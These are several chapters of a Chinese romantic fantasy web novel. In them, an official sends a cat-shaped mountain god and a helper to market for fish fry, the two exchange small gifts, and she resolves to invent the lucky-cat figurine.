“好了,现在到了该说正事的时候了。”余玥玺自顾自走进了屋内,坐在了椅子里,她面容平静地看着面前两人,“我要你们去山下集市买鱼苗,不要买食用类的,而是观赏类的。明白了吗?”
乔河很平淡地点头,华画却显得有些激动:“真的吗?你要我下山?”
“没错,给你的机会,一个你帮助我的机会。”余玥玺微笑着看他,“所以,一定不要让我失望,好吗?”
40.不要辜负月色
当晚,余玥玺刚刚将有关鱼类养殖的书籍合起来准备上床睡觉的时候,窗外响起了相当不合时宜的窸窸窣窣声。
这家伙,余玥玺不禁笑了,不过她决定先不予理睬,于是她吹灭了灯,翻身上床用被子将自己盖了起来,在心里盘算他会什么时候沉不住气。
窸窸窣窣的声音持续了一段时间,而后悄悄停了下来。
“笃笃笃。”轻敲窗棂的声音。
余玥玺抬眼望向窗外,一个模模糊糊的影子被月光打在了窗户纸上,那影子伸出了手,动作轻微带着小心,轻轻地碰在了窗棂上。
一下又一下。
“咳咳。”余玥玺翻了个身,将脸面向了墙壁。
敲窗声有所停顿,随之华画小声开口:“你睡了?那我就不打扰了?”
余玥玺终于坐了起来,披上了外褂,低声道:“进来吧,不过你得变成猫再进来。”
华画的声音即使很低也带着浓浓的兴奋:“真的吗?那我进来了?”
“嗯,进来吧。”
余玥玺看着那只手伸了下去,紧接着一个小小的身影跳到了窗台上,探出了爪子,在窗台上费力地拨弄着,眼见自己无论如何也打不开窗户,便哀怨地“喵”了一声。
“哎呀,堂堂山神大人化成猫身之后居然连打开窗户都做不到了吗?”余玥玺虽嘴上调侃着,但还是下了床,去给华画打开了窗户。
窗外明亮,没有一丝阴霾,皎皎月光倾斜而下,将院落照得亮堂堂,而那只猫——华画,正站在月光下,一对猫眼绿莹莹,微微眯着看向余玥玺,尾巴高高竖起,一只爪子都已经踏了进来,似乎只要余玥玺一点头,他就会顺理成章跳进来。
余玥玺打开窗子以后,稍微侧过了一点身子,好让这只猫进来。
“这么晚来干嘛?”余玥玺转身重新坐到了床上,抬手一指,示意华画待在桌子上,华画纵身一跃,端端正正地在桌上坐好了,眨眨眼看余玥玺。
“喵。”华画又开口。
余玥玺轻笑一声:“我忘了,你变成猫以后就不能说话了。”
华画歪了歪脑袋,爪子在半空中挥舞了一下,又声音平稳地“喵”了一声。
“唔,我又读不懂猫语。”余玥玺看似苦恼地皱起了眉,她忽地又抚掌道,“那你和我一起走吧。身为这座山的山神,你一定会知道此处哪里最美吧?”
华画点了点头,他跳下了桌子,在落地的一瞬间重新变成了人形的华画。
“我确实知道哪里最美,但我不确定你会不会喜欢。”华画挠了挠头,“如果你不喜欢的话,我会有些无地自容的。”
余玥玺笑了笑道:“无地自容?哪有这么严重?放心好了,我的眼睛在晚上并不能看清什么,一切景物在我眼里都会被美化的。”
“你的眼睛在晚上看不清吗?”华画语气紧张,“怎么能治好?我能怎么做?”
余玥玺倒是没料到他会突然这么问,沉默了半晌后,又语气轻松地开口:“没事啊,看不清算什么?不是看不见就行。”
她话锋一转,又将脸稍微贴近了一点华画:“所以,在路上,你可得保证我不掉到山沟沟里去哦。”
离得太近,太近了。华画的脸不觉又红了,他拼命点头:“嗯,我会直接将你带去的,保证不会让你受到一点点伤害。”
“好,我相信你。”余玥玺向华画挥挥手,“那你先到院子里等我吧,我换个衣服马上就来。山里夜间应该也挺冷的,冻到了就不好了。”
华画乖乖地走了出去,他的脑子一直还未反应过来刚刚发生了什么,想的全是余玥玺那句“我相信你”,还有那张笑脸。
自己明明是来同她做正经的告别的,也不知这告别稍后还有没有勇气说出口了。
余玥玺从门内走了出来,自然而然走到了华画面前,向他伸出了手,笑道:“将我带好了,等会你可就是我的拐杖了,别把我带摔倒了哦。”
华画勉强平复了下嘭嘭直跳的心,小心地牵住了余玥玺的手。
“你害怕吗?”华画问。
“怕什么?怕你吗?可是你只是个小猫啊,就算是山神又怎样?我早就相信你是不会害我的了。”余玥玺带着笑容看华画,另一只手扯了扯华画的耳垂,声音低沉,“还是说你想辜负了我的这份信任呢?”
“不不不,我不会!”华画赶紧摇头,激动开口,“我不是这种人,我怎么会害你啊!”
“那就请我们亲爱的山神大人把话说明白些?”
华画踌躇了一阵子,期期艾艾开口:“我的意思是,我直接把你带到那个地方去。”
“可以啊。”余玥玺毫不犹豫回答,她似是无奈地笑了笑,“我的胆子可是很大的,怎么会怕这个?就连你那天在我面前直接变成了猫我都没有害怕。”
“所以走吧。”
华画点了点头,握紧了余玥玺的手:“那你把眼睛闭上。”
“嗯。等可以睁开了再叫我。”
余玥玺闭上了眼,她感到一阵轻柔的晚风拂过她的脸颊与发丝,仅仅只是一瞬的失重感后,她就听见了华画紧张且忐忑的声音:“好了,你可以睁开眼睛了。”
她睁开了眼睛,眼前是一片开阔之地,一切景物在月光之下朦朦胧胧,远处有一眼细泉,汩汩流淌,泉水清澈,泛着银光。余玥玺深吸了一口气,清新的空气让她心情舒畅。
“不错,我很喜欢。”余玥玺坐在了草地上,她抬头望天,又问,“你为什么会选择这里呢?”
华画回答:“这是我诞生的地方,我是在此处产生意识的。”
“那是很有纪念意义了。”余玥玺笑眯眯道,她拍了拍身侧,“来吧,和我一起坐在这里,就这样看看月亮,不是很好吗?”
华画慢吞吞地挪了过去,又无比僵硬地坐了下去。
“你是不是有什么话要对我说?”一阵静默后,余玥玺打破了沉寂。
华画“嗯”了一声:“是,我是要和你说我要离开的这件事,同你来道别的。”
余玥玺转过头:“就为了这事?我知道你要走啊,和乔河去山下买鱼苗而已,而且你不是会马上就会回来吗?”
华画躲开了余玥玺探究的视线,犹豫开口:“因为我很难离开这里,所以一旦离开后,我的力量会慢慢衰竭,再回来时的我可能要修养恢复一段时间才能再次和你见面。”
“这样吗?”余玥玺若有所思地点头,“那你还答应我,你明明可以拒绝的。”
“因为我说过无论如何都要帮你的,只是下山而已,时间不长,我想我应该能挺住的。”
他见余玥玺又开始沉默了,便急切
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地补充道:“我不会有事的,因为我可是山神啊!我一定会安然无恙地回来!”
余玥玺笑着揪了揪他的辫子,嘴角扯出一个弧度:“山神大人口气真不小啊,那好,我会等着你回来的,还有我珍贵的鱼苗们。”
华画眼睛一睁道:“是!”
“想说的都说完了,那我们接着来看月亮吧,今晚月色很好,不是吗?”
华画本本分分地回答:“嗯,真美,一点云彩都看不见。”
听了这个回答,余玥玺不禁又笑了起来:“你呀,还真是……”
“可爱到不解风情。”
华画又将头低了下去,紧接着余玥玺的手放了上去:“低头干什么,看月亮呀,不要辜负了这么美的月亮。”
于是华画只好又将头抬了起来,他没有去看月亮,而是看余玥玺的脸,没头没脑地来了句:“你的眼睛比月亮更美。”
余玥玺愣了一瞬,随即笑着摇了摇头:“哪比得上月亮呀,像星星我就很满足了。”
“那你的眼睛比星星还美?”
“哎哟,行了,怎么还给我降级了?”虽然口气仍旧是埋怨的,但余玥玺脸上的笑意不减。
晚风静静地吹着,地上的人一个抬头看月亮,另一个在看看月亮的人,此刻无言,唯有意相通。
“我们是不是已经出来很久了?”余玥玺问。
华画想了一会回答道:“是。”
“那就回去吧,正好这里也越来越冷了。”余玥玺将外褂裹得更紧了一些,她向华画伸出手,“就像来时的那样,再带我回去吧。”
华画自然不会拒绝,他回握住余玥玺的手,低声道:“抓紧了。”
同来时一样,不过数秒之内,余玥玺再睁眼时,便又身处自己那座小小的院落内了,如果不是自己的手在华画的掌心中间,她真的以为刚刚所经历的一切并没有真实发生了。
她将手抽出,看着华画问:“你明日什么时候离开?”
“或许应该问乔河?”华画不甚确定地开口,“他什么时候走我就什么时候走。”
“那或许会很早的,我就不送你啦,太早了我可能起不来床。”
“没关系,我一个人很好的。”
余玥玺又拍了拍华画的头,笑容温柔:“你看你的嘴角都掉到哪里去了,还说没关系。”
“明早我一定会目送你离开的,还会给你一个小礼物。”她故作神秘。
华画果然又兴奋了起来:“是什么?”
“秘密。”余玥玺坚决不透露半个字,“别急,反正你明早就知道了,千万不要晚上激动到睡不着觉哦。”
华画挠了挠后脑勺:“我可能还真的就睡不着了。”
“那你就怀揣着这样的期待睁眼到天明吧!”余玥玺说完,步子已经向屋内跨去了,当她整个人都走进屋里的时候,她又转过了身子,笑眯眯看向华画,“所以你回来也会给我带礼物吗?”
“当然!”华画急切回答,“你想要什么?”
“看你咯,我想要什么?你猜?”余玥玺竖起一根手指在唇间,眨了下单边眼睛,“就看我们聪慧的山神大人能不能在琳琅满目的商品之间选到我心仪的小物件咯?”
大门在华画的眼前关起。
华画发现,他今晚似乎真的睡不着了。
41.临行前的赠礼
夜晚,真的是相当难熬呢。
华画化作了猫身,躺在草地上,他抬头望天,天上明月皎皎,还是一如既往,没有任何变化,明明都已经这样看上了几百年了,为什么觉得今晚的月亮格外好看呢?
心情不同,所看见的景物感受也就会不同吧。
华画一个激动,没忍住在地上翻滚了好几圈。然后噗通一声——掉进了泉水中。
冰凉的触感令他的热切消散了一半,他挣扎着从泉水中爬到岸上,抖落出一身水。
还真是丢脸,千万不能让她看到自己这般模样,自己出过的糗事已经够多了。华画深深地叹了口气,觉得自己真是永远学不会机灵与聪慧了。
折腾得累了,华画又仰面躺了下来,到底还有多久才能天亮呢?真的是等不及要看她会送自己什么礼物了。
他开始不由自主联想,她总有一日会离开的,不可能永远停留在这个地方,那么届时自己又该何去何从呢?或许自己可以跟着她离开吗?
就算自己可以跟着她离开呢?那自己又会是什么身份?皇城官员余玥玺养的一只家猫?华画不敢想别的可能。
然后呢?自己当然可以以猫身陪伴她,但如果再过了几十年呢?
华画突然不敢继续向下想了。
寿命这种事情,无论什么时候想起都相当不令人愉快。
他甩了甩脑袋,想将这不合时宜的想法从脑海中去除,但越是在意,就越是难以割舍。华画忽然觉得苦涩又悲伤起来。
起风了,树影婆娑,远方的虫鸣也依稀可闻,月亮还是一如既往地照耀着,什么变化都没有,但华画的心境却变得不同起来。他蜷缩起身子,湿漉漉的毛在风的吹拂下终是透露出寒意来,爪子与尾巴一同塞在肚皮下。
算了,真的不能再想了。那么遥远的事,现在可没有一点考虑的必要,所以更应该关心的事,是明日她的送别与礼物才对!华画不免又笑自己想得太多,这么多年别的本事没有,胡思乱想倒是很拿手。
同一片夜幕下的另一边,余玥玺在屋内目送华画离去后,她并没有继续上床睡觉,而是打开了房门,从屋内走了出来,手里还握着一个瓷瓶与那日割草的刀。
她因夜里看不清而走得相当小心,最终她摸索到了窗台下,那里种着一大片的花。她先是安抚地将手掌从花的顶端拂过,口中念念有词道:“只是取一点土而已啦,如果等会儿不小心碰到你们的话,真的是万分抱歉。”
花和叶子在风中摇摆,什么都没有说,当然,它们也是不会说话的。
“就当你们默许了!”余玥玺带着得意的语气笑道,她蹲下身,将刀小心地插到了土中,动作轻微,随后又小心地抽了出来,确保自己不会伤到花茎,这一动作使周边的土壤松动了一些,余玥玺试着用手轻轻地挨了上去,虚虚一抓,松软又不是很潮湿,简直理想!
余玥玺打开了瓷瓶口,抓了一把土壤塞了进去,她并不清楚多少合适,但总归越多越好的!
手中的瓷瓶已经沉甸甸有些分量了,余玥玺掂量了一下,嘴角勾勒出一抹坏笑,如果华画知道他等了一个晚上的礼物是一小瓶土的话,脸上会露出什么样的表情呢?
不过——余玥玺是有理由的,如果他带着烂泥村的土离开的话,不就等于没有离开烂泥村了吗?这样的话,应该就不会使他的力量衰减了。
自己可真是个天才!余玥玺喜滋滋地想着,她走到后门处,打了一小盆井水洗了一把手,将自己收拾干净以后心满意足地躺到了床上睡觉。
还真是期待啊,不过以她对华画的了解,不管她送什么,他都会欣然接受的吧。
余玥玺闭上眼睛,不多时就沉沉入睡了。
天刚蒙蒙亮之际,华画就急不可待地匆匆下山,直奔余玥玺的院子而去,或许他来得太早了些,别说余玥玺了,就连整个烂泥村都还在睡梦之中。华画激动的心再一次像被一盆冷水泼了一样凉了大半截。
他站在门口不知所措,最终站到了小树下,正欲坐下去的时候,一道冷声在身后响起:“你怎么这么早就来了?”
华画被吓了一跳,慌忙回头,但什么都没有看见,但声音着实耳熟。
“呃,你抬头。”
华画抬头,声音为什么熟悉?因为是乔河,他正待在树上,一只手攀住树枝,头向下,定定地看着华画。
“你这么早就来了?是因为听见余大人要送你礼物激动了?”乔河声音冷淡,但总透露出一丝玩味的兴奋。
“你偷听我和她讲话?”华画怒道。
乔河蹙眉,他纵身一跃,从树上稳稳当当跳到了地上。
“我不是故意要听的,只是因为我一直在这个院子里罢了,你们说什么我一清二楚。”乔河诚恳回答,“我又不能把自己的耳朵割下来,只好听下去了。”
“不过放心,你们离开的时候我绝对没有跟上去,绝对没有偷听。”
华画撇嘴,没好气地瞪了眼乔河:“对,她就是要送我礼物又怎样!你没有你没有你没有!”
“呵,真好,那还真是恭喜你了。”乔河抱着胳膊,“华公子难道一直明里暗里将我当做竞争对手吗?那还真是不好意思了,我只是在工作而已。”
“我知道,这话你已经说过很多遍了。”华画昂着头看他,“但我就是不喜欢你,你管不着。”
乔河对这个回答并不意外,他摊手:“行吧,希望你能讨到余大人的欢心,也不枉你这么早就来找她了。还有,我问你,你准备什么时候走?”
“自然是要等到余大人给我送了礼物之后我再走。”华画脚下生根一般立在原地,一动不动,他不去看乔河,眼睛只盯着那扇紧闭的大门。
但乔河非要同他没话找话:“我还听见你准备送余大人东西,你想送什么?”
华画斜着眼睛看他:“我送什么关你什么事?”
“好吧,我诚恳一点,因为我也要送别人一件礼物。”
但华画还是那套说辞:“你送什么关我什么事?你要送给谁也关我什么事?”
乔河失笑道:“好一个不关你的事,那你有钱吗?”
坏了。
华画的眼睛迅速盯到了乔河的脸上,嘴角向下撇,虽然他没说话,但已经一切尽在不言中了。
“你告诉我你要送余大人什么?我也送——等等,我不是送给余大人,是送给另一个人的。”见华画又开始瞪眼,乔河赶紧解释,“买东西的钱,我出,如何?”
“好。”华画语气深沉。
这买卖不坏,华画想,但是答案他确实还没想好,于是他平静道:“我不知道。”
他看着乔河的脸由期待转向失望,他居然有些惭愧:“嗯,但是你可以跟在我的后面买。”
“那好,就这么说定了。”
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>门开了,余玥玺走了出来,她伸了一个懒腰,打着哈欠道:“你们好早,不睡觉的吗?”
华画邀功一般道:“确实没睡。”
他意有所指,期待地看着余玥玺。
余玥玺只消看他那对什么心思都藏不住的眼睛,就什么都明白了,但她就是要多拖一会,于是余玥玺故意道:“行吧,看天还没有完全亮,你们尽早出发?这样回来得也能早一点不是?”
“是。”乔河倒是领命了,他瞟了眼华画,他正呆若木鸡地站着,不说话也不动。
余玥玺向华画走了过去,停在了他的面前,一只手放在背后,另一只手挠了挠他的下巴:“嗯哼,你怎么了?昨晚不是答应得好好的,要帮我这个忙吗?”
华画点点头,面露委屈之色。
“有什么想要和我说的吗?”余玥玺循循善诱道。
“送……”
“送你离开?你看我不都在这里了吗?”
华画下定决心,闭眼咬牙道:“你要送我礼物来着的。”
余玥玺笑了起来,用手指轻轻点着华画的眼睑:“喊那么大声干嘛?还有,为什么闭眼睛?闭起来就看不见了。”
“睁开眼睛。”
华画便缓缓睁开了眼睛,他的手被余玥玺轻柔地拉起,接着被打开,一个带着温度且有一定分量的小小瓷瓶握在了他的手中。
赶在华画询问之前,余玥玺便迅速回答:“这就是礼物了,如果你想问这是什么的话,把头低下来吧,有些话只能悄悄说。”
华画低了头,余玥玺一手揽住了他的脖子,嘴附在华画的耳边,声音吹气似的柔软:“这是烂泥村的泥土,我知道你离不开这里,所以带上故土,就相当于没有离开这里了,怎么样,喜欢吗?”
华画有些错愕地抬起头,他握紧了瓷瓶,郑重地点点头。
余玥玺笑意盈盈看着他:“傻的,都不会说话了,好歹也说喜不喜欢啊。”
“我很喜欢,很喜欢……喜欢。”华画的声音居然有些哽咽了。
“这么严重?”余玥玺伸手又触碰了下华画的脸,声音带着刻意的困惑“你不会等会还要哭吧?小孩子一样,哈哈。不对,是猫。”
华画揉了揉自己的耳朵,它们此刻延迟一般地发烫起来,他弱弱地摇头:“我才不会哭的。”
“呃,天马上就要亮了,你们还有话没说完吗?”站得稍远的乔河依旧保持着抱臂的姿势,他简直恨不得再把自己藏在树上。
华画将自己拉出一步距离远,又眷恋地看了眼余玥玺:“那我走了?我会尽快回来的,有你给我的这个,我一定会平安归来的。”
“又不是不回来了,只是去买个鱼苗而已。”余玥玺微笑,向华画招了招手,“快些出发吧,等你们走了我再补一个回笼觉。”
华画一步三回头,乔河时不时耐着性子等他,直到再也看不见余玥玺的小院子时,他才将自己的步子放得坚定了些。
山下集市。
乔河在购置方面已经可以算是老手了,华画倒像是没见过世面一样摸摸这个看看那个,最终他的视线停留在一个小小的陶塑品上,是只猫。
那猫小巧玲珑,是一只很常见的橘猫,栩栩如生,除了并不像真猫一样毛茸茸,其他地方倒是一比一还原缩小了。
华画的视线就没移开了,他似乎有想法了。
不如就这个吧?
42.招财猫哟
“你确定你要买这个?一只——陶塑猫?你在想什么?怎么想余大人都不会喜欢这个小孩子才喜欢的玩意儿吧。”乔河拾起那只小小的陶塑猫,面露疑惑。
华画夺过陶塑猫,语气笃定:“我就觉得她会喜欢,猫怎么了?不好吗?”
“喂,你们两个,买不买,不买滚一边去,别挡着我做生意!”摊主是个暴脾气的人,见这两个将自己摊位上的陶塑猫拿起来又放下,但就是不掏钱买的时候,他终于怒然出声了。
“你才说过的,我买什么你出钱。”华画坚决地毫不退让,“你要反悔不成?”
乔河也不甘示弱道:“我是说过,但我记得是有前提的吧,我也要给另一个人送礼物的,我可不认为她会喜欢这个。”
气氛再一次陷入僵持。
“你确定吗?还有,你到底要给谁送?”
乔河因情绪激动而在嘴上少了一道把关的:“小吉姑娘。”
话一出口,他才反应过来,低声警告道:“你不许说出去!”
“此地无银三百两。”华画哼了一声,“都送礼物了,还担心别人会看不出来?”
“那是我自己的事,和旁人无关。你给不给我保守秘密?你只要答应了,我就破例为你出钱买下这个。”
华画见好就收,况且又是一笔好买卖,于是他答应了:“放心,我不说。”
他摊手,带着十足得意的笑容道:“那请吧。”
乔河虽不服气,但话都已经说出口了,只得掏钱买下了那只陶塑猫,丢给了华画:“收好了,别在路上摔碎了、压扁了,不会再给你出第二次钱的了。”
心情大好的华画点点头,将陶塑猫揣进了怀里,微微一笑道:“这你放心,我不会犯如此低级的错误。”
对自己赢了一头乔河的华画很是自满,说完这句话以后他便大跨步上前走了,乔河忍着怒气,跟在华画身后,压低了声音道:“你小子,你下山来的任务只是为了买这个吗?不要忘了我们此行的真正目的。”
“鱼苗嘛,我记得,可是总得先找到在哪里买鱼苗吧,劳烦你了,我对这里实在是不熟悉。”华画咧嘴一笑,看起来倒是一点没上心的样子。
乔河深吸了几口气,告诉自己绝对不能被这人给气到了,他威胁:“那我告诉余大人你渎职。”
华画快乐的步子停了下来,他似是无语地看着乔河。
“你干嘛?你威胁我?”
乔河似乎找回了一点信心,他平静道:“这是事实。”
华画瞪着眼睛去看乔河,说实话,他现在恨不得直接将自己给传到余玥玺的面前,双手奉上这个陶塑猫,去看她喜悦或者不悦的脸。但现在,八成是不能了。
片刻后,华画放弃了:“好,我们去找鱼苗。”
“另外,我来挑鱼苗,你只用付钱与交涉就好。”华画继续瞪他,“我会挑出最好的鱼苗,所以最大的功劳只会是我的。”
饶是乔河再冷静,听了这话也不免来了气。
“我后悔了。”
“后悔什么?”
“条件给的太低了。”乔河道,“你现在,必须,给我找到,适合送给小吉姑娘的礼物。”
“你这人怎么出尔反尔?”
“你渎职。”
“你不能出尔反尔,说好的。”
“你渎职。”
“……”
“渎职。”
华画只觉自己头痛,连忙叫停:“我求你了,别说了,我答应你行吧。”
乔河自持地一笑:“好,那我也绝对不会说你渎职,各退一步,就这样,不好吗?”
“不过你啊,怎么连挑选礼物都不会?那这礼物是算我送的,还是你送的?”华画不满地嘟嘟哝哝,结果不巧被乔河听了去,眼见乔河又开始做了“渎职”的嘴型时,他闭了嘴。
“我也不想的,可是我每次在烂泥村都待不了太长时间,对她了解又不多,更不可能知道她会喜欢什么。”乔河少见的有些落寞。
华画看了他半晌,做了一个余玥玺很喜欢做的动作——拍了拍乔河的肩膀。
“你去买书吧,字越多的越好。”
“书?”
华画肯定地点头:“没错,她很喜欢读书,余大人只是给了她几本识字书,她都能高兴很久,如果你送她那种字很多的书,她会很喜欢的。”
乔河的身体放松了下来,他向华画抱拳行了个礼:“多谢。”
紧接着,他便跑向了最近处的一个书店,徒留华画一人站在人来人往的街道上。
自己只是眨了一下眼睛吧?怎么一个活生生的人就直接消失不见了?乔河这家伙到底什么来头啊?
人生地不熟,华画又不敢到处跑,他只能像一棵树一样站在路中间,呆呆的,被人赶了就往旁边挪一挪,而后再返回原位。好在乔河并没有让他等太久,一刻钟以后,他再次出现在了华画的面前。不过率先映入华画眼帘的,是堆的相当之高的书,它们甚至将乔河的脸都遮住了。
“这么夸张?”华画震惊道,“这么多书要到什么时候才能读完啊?你这是送周姑娘礼物还是任务啊?”
乔河将头从书的侧面探了出来:“太多了吗?可是我只是一样挑了一本而已。”
“怎么办,还能怎么办?只好让周姑娘慢慢看了,不过说不定,万一她会很高兴呢?”华画说着蹙起了眉,“不过你带着这么多书怎么去买鱼苗?你不会……”
“帮我拿几本。”乔河语气自然,手上动作也不停,直接端了一半的书给华画,华画居然也就这样稀里糊涂地接了过来。
“不对,我这是在做什么?”
“送佛送到西,帮人帮到底。我会和余大人说你非常尽职尽责的。”
华画虽万般不情愿,但还是什么都没说地接好了那一摞书。
日头已经偏西了,街道上行人也逐渐稀少,华画的“今晚之前就回去的愿望”算是破灭了,他满腹牢骚,他闷闷不快。
“过分!”临睡前,华画相当用力地拍了下床,表达自己的不满。
而且,这里也看不见月亮。
简直让人难以忍受。
华画翻身下床,从口袋中掏出瓷瓶,看了半晌后牢牢地握在了掌心,有了它,就像是余大人在身旁一样令人安心了。
再次钻进被褥里之后,华画将瓷瓶贴在了心口处,不知是否是故土的作用,华画此觉睡得相当安稳。
次日在华画的强烈要求下,鱼苗顺利买到,二人返回烂泥村时,也不过才午时左右。
“你就这么急?”乔河问。
华画斜眼看乔河道:“你就不急?”
于是乔河不说话了。
买来的东西在余玥玺的小院里依次排开,余玥玺带着满意的眼神看了过去,夸赞道:“非常好,你们很令我满意。”
她伸手揉了揉华画的头,笑眯眯地问:“离开了烂泥村这么长时间,感觉如何呢?”
华画回答:“感觉我不想离开。”他扭捏了一阵子,声音很低地说:
“我,我给你带了一件礼物回来,你要不要……看一看?”
“哦?我随口一说,你还真的放心上了?”余玥玺有些惊讶,不过她很快便接受了,“所以是什么呢?”
华画忽然不自信起来,那个小小的陶塑猫似乎真的……有些太不起眼了,好不容易下山一趟,怎么能就带这个呢?他后悔没听乔河的话,就是再多带一件也好过只有这一只猫的吧。
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余玥玺看着华画忽然阴郁起来的脸,只稍微一想就明白了华画在顾虑什么,她伸手拉了拉华画的耳垂,调侃道:“你不会带了山下的空气回来吧?我给你送土,你给我送空气,倒也合理。”
“没有!有东西的!”华画赶紧解释。
“那你倒是给我看一看呀,放心,我不挑,就算你送的真的是空气,我都接受。”
华画又磨蹭了下,他颤抖着手掏进自己的怀里,片刻后,一只小小的但栩栩如生的陶猫立在了华画的掌心之上。
“抱歉,就是这个了,我应该多……”
“这不是很可爱吗?我很喜欢,谢谢你。”余玥玺从他的掌间拿起陶橘猫,弯了弯唇角,“为什么是橘猫呢?”
“因为只有橘猫,本来我想买和我毛色一样的猫,但是没有,还有黑猫和白猫,但是我觉得它们没有橘猫可爱,所以我就选了这个。”
见余玥玺的笑不似假意,华画才稍安心了一些。
余玥玺用手指拨弄着小猫,抬眼看华画,开玩笑道:“我还以为你自恋呢,原来还真是,如果有三花猫的话,看来你是真的会买啊。”
华画没有辩解,他觉得余玥玺说得没错——他是真的想买一个缩小版的自己给她的。
“三花猫……”余玥玺却莫名陷入了沉思,“三花猫的话,陶制的,那岂不就是——”
“招财猫了吗?”
余玥玺的眼睛忽然发亮了,她抓住了华画,两只手钳制住他的肩膀开始大力摇晃,语气激动:“你知道什么是招财猫吗?”
“招财,猫?”华画被晃得晕头转向,“从字面意思理解,是可以招财的猫?”
余玥玺松了手,很欣喜地点头:“对,但实际上只是图一个好彩头罢了。所以,你是真的不知道招财猫是什么吗?”
华画愣愣地看她,虽然已经相处很久了,但是他还是不能每次都跟上余玥玺的思维,他疑惑地摇摇头:“什么猫?”
“没关系没关系,乔河呢?”余玥玺激动地在院子里转圈,最终她停下了脚步,“你不知道情有可原,我去问乔河,他的见识可能会多一点。”
余玥玺的视线又在院子里环绕了一圈,却是没发现乔河的踪迹,她困惑:“乔河呢?刚刚不还在这里吗?华画,你知道乔河哪去了吗?”
华画本不想回答,但理智最终战胜了好胜心:“他或许在周姑娘那里。”
“小吉吗?好!”余玥玺也没问他为什么会在那里以及他去那里做什么,转头就向院外跑去。
这又是怎么了?华画愣在原地,思来想去,他还是跟了上去。
周小吉目瞪口呆地看着那一堆书,它们堆放着,高度甚至达到了自己的腰部,书旁边站着的人她也认识,好像叫乔河,是小玺身边帮她做事的。
“这书是小玺让你给我买的?”周小吉问,她实在是高兴。
乔河诡异地沉默着,半晌他点点头。
“小玺真是贴心啊,给我买了这么多书。”周小吉拿起最上面的一本,眼睛因喜悦而微微弯了起来,“字也好多啊,看来够我看好一阵子了,多谢!”
乔河动了动身子,刚张嘴想说“要不要我帮你搬进去”的时候。身后响起了余玥玺呼喊他的声音:
“乔河——我问你一件事——”
余玥玺显然是跑过来的,她气喘吁吁停下,盯着乔河问道:“乔河,你知不知道什么是招财猫?”
乔河的表情看起来像是惊吓过度一样,他摇了摇头:“不知道。”
“不知道好啊,不知道好。”余玥玺似乎对这个回答相当满意,“不知道什么是招财猫的话,那我不就可以做出第一只招财猫了吗?”
“我决定了,烂泥村致富,由做招财猫开始!”
43.累了就吸猫
余玥玺的行动速度不是一般的快,前日才放出豪言壮语:“我要做招财猫!”第二日就开始潜心学习各种陶制品的做法。
买来的书中又“恰好”有关于制陶器、瓷器等的农用工具书,于是一连好几日,余玥玺的大门都紧紧闭起,夜间的灯也一直亮到了后半夜。
华画对此心急如焚,生怕自己一个不留神,余玥玺就倒在了书桌上,燃着的灯可能会被碰倒,而她的房间里都是书,如果烧到的话,后果肯定不堪设想。
他拍门:“余大人你让我进去好不好?我不干嘛,我也不打扰你,我就在旁边看看你!”
大多数时候是没有回应的,有时问得烦了,余玥玺就会从屋内大喊一声:“不行!”
但也有例外的时候,那就是一日三餐的餐前。
华画会提着一个篮子,篮子里装着食盒,食盒当中是他精心准备的每天都不重样的菜肴,每到这时,他就会敲敲门,喊一声:“余大人,今日份的饭菜已经到位啦,快来吃吧。”
门在这时就会悄无声息地打开,从屋内伸出一只手接过新的食盒,顺便将吃净的已经空了的食盒精准无误地丢到篮子里。
有几次华画会想挤进去,但余玥玺只要冲他一蹬眼睛,华画就老实地退了回去。
啊,真是让人难过。华画伤心地想,不过在他去洗食盒的时候,总能发现自己做的菜每每都能被余玥玺吃得一干二净,这时他反倒又会开心起来。
没关系,自己虽然人没有进去,但是饭菜进去了,也是好的。华画便更用心地开始考虑每天做什么菜。
每到夜间,华画便会化成猫蹲在余玥玺读书的那间屋子的窗户下,目光炯炯地看着从窗户缝透出的光亮,直到灯灭了,他才会放心地离开。
一连几日都是如此,终于在这一日,华画终于忍不住了,他一定要进去看看,一个好好的大活人,怎么能这么多天一直不出来呢?多危险?
在送午饭的时候,华画先是敲了门,然后变成了猫,他记得余玥玺说过她是相当喜欢猫的,如果今日他变成猫向余玥玺撒个娇,她是不是就能心软呢?华画激动不已,他看着门打开,和往常一样,只从里面伸出一只手,这手在半空中抓握了一阵子,然而并没有抓到想要的东西。
“嗯?”余玥玺将脑袋伸了出来,向左右两侧看了看,“人呢?还是我幻听了?”
“喵!”华画叫了一声,右爪抬起,轻轻挠了挠门。
余玥玺低头,这才看见地上的华画:“你这是?”
华画躺倒在地,向余玥玺露出了柔软的肚皮,四只爪子在半空中极力舞动,一边扭来扭去一边夹着嗓子极力喵喵叫。
虽然感觉有些丢脸,但为了她,自己做什么都可以!
余玥玺混沌已久的大脑显然还没有反应过来眼前这一幕,不过她的动作倒是很快,她弯腰一手抓住华画的前肢,另一只手握住他的后肢,像提着半扇猪肉一样,她将华画提溜回了屋。
按理说,华画应该对此感到高兴的,他才使出了第一步而已,就如此顺利地进入了余玥玺的房间,甚至还是还是被她带进来的。
华画被安置在桌子上,书桌一如既往的乱,摊开的书本,写得乱糟糟的纸毫无章法地堆在一起,还有沾了墨渍的纸团,它们滚落一地。
“喵?”华画莫名有些心慌,他试图使自己平静下来,余大人只是头发有些乱而已,绝对没有变成别人。
但是这像是要发脾气的眼神是怎么回事?
不妙不妙,相当不妙。
华画颤颤巍巍又躺在了桌子上,开始翻肚皮。俗话说“伸手不打笑脸人”,那他这个“笑脸猫”,或许也不会被打吧?
“嘿嘿,小猫。”余玥玺露出一个在华画看来相当诡异的笑容,她向华画伸出手,像是在揉面团一样开始揉搓华画的猫头,“小猫咪,嘿嘿嘿嘿嘿。”
“呜,喵。”华画被揉得头昏脑涨,他刚挣扎着想起身,又被一掌摁倒了。
天呐,余大人这是怎么了?余大人怎么能笑得这么可怕?华画惊慌不已,余大人不会被邪祟上身了吧?自己可是堂堂……
这个念头还未成型,华画又眼睁睁自己被翻了过来,紧接着,他近乎绝望地看着余玥玺那张带着诡异笑容的脸离他越来越近、越来越近,最后埋在了他的肚皮里。
“呼呼呼,好软,嘿嘿嘿嘿嘿,小猫咪的肚皮真的是世界上最好吃的东西。”余玥玺将脸深深地埋在华画的肚皮间,不停地将脸蹭过来蹭过去,时不时再猛吸上一口气。
“咳咳咳,就是掉毛有点严重。”
余玥玺终于将脸从华画的肚皮上离开了,她神情严肃地看着华画,仿佛那个刚刚还在诡异地“嘿嘿嘿”着的人不是她。
华画尚未反应过来,他还在沉浸于那种异样的感觉中,身子是软的头也是晕的,隔了好久,他才恍恍然睁开眼睛,对上余玥玺那对冷静下来的眸子后,不觉颤抖了一下。
